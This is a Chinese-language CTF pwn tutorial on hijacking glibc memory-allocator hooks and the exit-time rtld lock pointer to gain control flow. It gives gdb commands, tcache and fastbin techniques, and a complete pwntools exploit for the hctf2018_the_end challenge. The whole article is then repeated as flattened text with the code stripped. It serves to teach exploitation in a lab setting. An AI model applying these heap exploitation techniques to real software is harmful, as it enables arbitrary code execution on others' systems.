[CTF-PWN] Hook函数劫持
字数 1689 2025-08-09 17:09:29

Hook函数劫持技术详解

1. 概述

Hook函数劫持是CTF PWN题中常用的getshell手段,通过劫持程序中的各种hook函数来改变程序控制流。本文将详细介绍几种常见的hook劫持技术。

2. 动态内存管理家族的hook函数

GNU C允许开发者修改mallocreallocfree的hook函数以修改它们的功能,本意是帮助开发者debug,但也为攻击者提供了便利。

2.1 基本机制

  • malloc运行时,如果malloc_hook值不为0,程序会先执行malloc_hook所指向的函数
  • 类似机制也适用于free_hookrealloc_hook

2.2 定位方法

在gdb中可以使用以下命令定位hook函数地址:

p &__free_hook
p &__malloc_hook

2.3 利用技术

2.3.1 tcache attack劫持

  • 劫持这些hook时没有验证需要绕过
  • 直接将next指针覆盖为&malloc_hook即可(next指针指向chunk的user空间)

2.3.2 fastbin attack劫持

利用fastbin attack劫持这些Hook函数时需要绕过对于chunk头的验证:

  1. 劫持malloc_hook

    • 将fd改为&malloc_hook-0x23(此处值为0x71)可绕过验证
  2. &free_hook上方都是0字节,无法直接通过fastbin attack劫持

2.3.3 system("/bin/sh")利用

可以将free_hook劫持到system,再free一个内容为/bin/sh\x00的chunk,即可调用system("/bin/sh")

3. 栈调整以使用one_gadget

当one_gadget因环境原因全部不可用时,可以通过realloc_hook来调整堆栈环境使one gadget可用。

3.1 原理

  • realloc函数在起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向的函数
  • realloc_hookmalloc_hook相邻,可通过fastbin attack等一次性修改两个值

3.2 具体利用方法

  1. realloc_hook设置为one gadget
  2. malloc_hook设置为realloc函数开头某个push寄存器的指令处
    • push和pop次数一致,减少push次数会压低堆栈,改变栈环境
    • 具体偏移可通过尝试或脚本爆破确定

4. exit hook (__rtld_lock_unlock_recursive)劫持

可以通过更改指向rtld_lock_unlock_recursive(或rtld_lock_lock_recursive)函数的指针,在程序退出时劫持控制流。

4.1 定位方法

  1. 在gdb中执行:

    p rtld_lock_default_unlock_recursive
    

    得到地址a

  2. 然后执行:

    search -8 a
    

    得到指向该地址的地址

  3. 注意该函数实际上在ld中,计算偏移时需要考虑这一点

4.2 利用示例(hctf2018_the_end)

题目特点:

  1. libc直接给出
  2. 提供五次一字节任意地址写

利用步骤:

  1. 泄露libc基址
  2. 计算rtld_lock_unlock_recursive指针地址
  3. 通过五次一字节写将one gadget写入该指针

示例代码:

from pwn import *
import sys

if len(sys.argv) > 1 and sys.argv[1] == 'r':
    target = remote("node4.buuoj.cn",port)
else:
    target=process("./the_end",env={"LD_PRELOAD":"./libc-2.27.so"})

if (len(sys.argv)>1) and sys.argv[1]=='g':
    gdb.attach(target)
context.log_level='debug'

libc = ELF("./libc-2.27.so")

def pwn():
    #get libc
    target.recvuntil("gift ")
    sleep_libc = int(target.recvuntil(",",drop=True),16)
    libc_base = sleep_libc - libc.sym["sleep"]
    success("libc leaked: "+hex(libc_base))
    
    rtld_recur = libc_base+0x619f68
    success("rtld_recur: "+hex(rtld_recur))
    
    ogList = [0x4f2c5,0x4f322,0x10a38c]
    og= libc_base + ogList[1]
    
    target.recvuntil(";)\n")
    # hijack
    for i in range(5):
        target.send(p64(rtld_recur+i))
        target.send(p64(og)[i])
    
    target.interactive()

pwn()

5. 关键点总结

  1. hook函数定位:熟练掌握gdb中定位hook函数地址的方法
  2. 劫持技术选择
    • tcache attack最简单,无需绕过验证
    • fastbin attack需要构造合适的fake chunk
  3. one_gadget适应:当直接使用one_gadget失败时,考虑通过realloc_hook调整栈环境
  4. exit劫持:在有限写入条件下(如一字节写),rtld_lock_unlock_recursive是理想目标
  5. 动态调试:实际利用中需要通过动态调试确定具体偏移和地址

通过熟练掌握这些hook劫持技术,可以在CTF PWN题中灵活应对各种限制条件,实现控制流劫持。

Hook函数劫持技术详解 1. 概述 Hook函数劫持是CTF PWN题中常用的getshell手段,通过劫持程序中的各种hook函数来改变程序控制流。本文将详细介绍几种常见的hook劫持技术。 2. 动态内存管理家族的hook函数 GNU C允许开发者修改 malloc 、 realloc 和 free 的hook函数以修改它们的功能,本意是帮助开发者debug,但也为攻击者提供了便利。 2.1 基本机制 malloc 运行时,如果 malloc_hook 值不为0,程序会先执行 malloc_hook 所指向的函数 类似机制也适用于 free_hook 和 realloc_hook 2.2 定位方法 在gdb中可以使用以下命令定位hook函数地址: 2.3 利用技术 2.3.1 tcache attack劫持 劫持这些hook时没有验证需要绕过 直接将next指针覆盖为 &malloc_hook 即可(next指针指向chunk的user空间) 2.3.2 fastbin attack劫持 利用fastbin attack劫持这些Hook函数时需要绕过对于chunk头的验证: 劫持 malloc_hook : 将fd改为 &malloc_hook-0x23 (此处值为0x71)可绕过验证 &free_hook 上方都是0字节,无法直接通过fastbin attack劫持 2.3.3 system("/bin/sh")利用 可以将 free_hook 劫持到 system ,再free一个内容为 /bin/sh\x00 的chunk,即可调用 system("/bin/sh") 3. 栈调整以使用one_ gadget 当one_ gadget因环境原因全部不可用时,可以通过 realloc_hook 来调整堆栈环境使one gadget可用。 3.1 原理 realloc 函数在起始会检查 realloc_hook 的值是否为0,不为0则跳转至 realloc_hook 指向的函数 realloc_hook 与 malloc_hook 相邻,可通过fastbin attack等一次性修改两个值 3.2 具体利用方法 将 realloc_hook 设置为one gadget 将 malloc_hook 设置为 realloc 函数开头某个push寄存器的指令处 push和pop次数一致,减少push次数会压低堆栈,改变栈环境 具体偏移可通过尝试或脚本爆破确定 4. exit hook (__ rtld_ lock_ unlock_ recursive)劫持 可以通过更改指向 rtld_lock_unlock_recursive (或 rtld_lock_lock_recursive )函数的指针,在程序退出时劫持控制流。 4.1 定位方法 在gdb中执行: 得到地址a 然后执行: 得到指向该地址的地址 注意该函数实际上在ld中,计算偏移时需要考虑这一点 4.2 利用示例(hctf2018_ the_ end) 题目特点: libc直接给出 提供五次一字节任意地址写 利用步骤: 泄露libc基址 计算 rtld_lock_unlock_recursive 指针地址 通过五次一字节写将one gadget写入该指针 示例代码: 5. 关键点总结 hook函数定位 :熟练掌握gdb中定位hook函数地址的方法 劫持技术选择 : tcache attack最简单,无需绕过验证 fastbin attack需要构造合适的fake chunk one_ gadget适应 :当直接使用one_ gadget失败时,考虑通过 realloc_hook 调整栈环境 exit劫持 :在有限写入条件下(如一字节写), rtld_lock_unlock_recursive 是理想目标 动态调试 :实际利用中需要通过动态调试确定具体偏移和地址 通过熟练掌握这些hook劫持技术,可以在CTF PWN题中灵活应对各种限制条件,实现控制流劫持。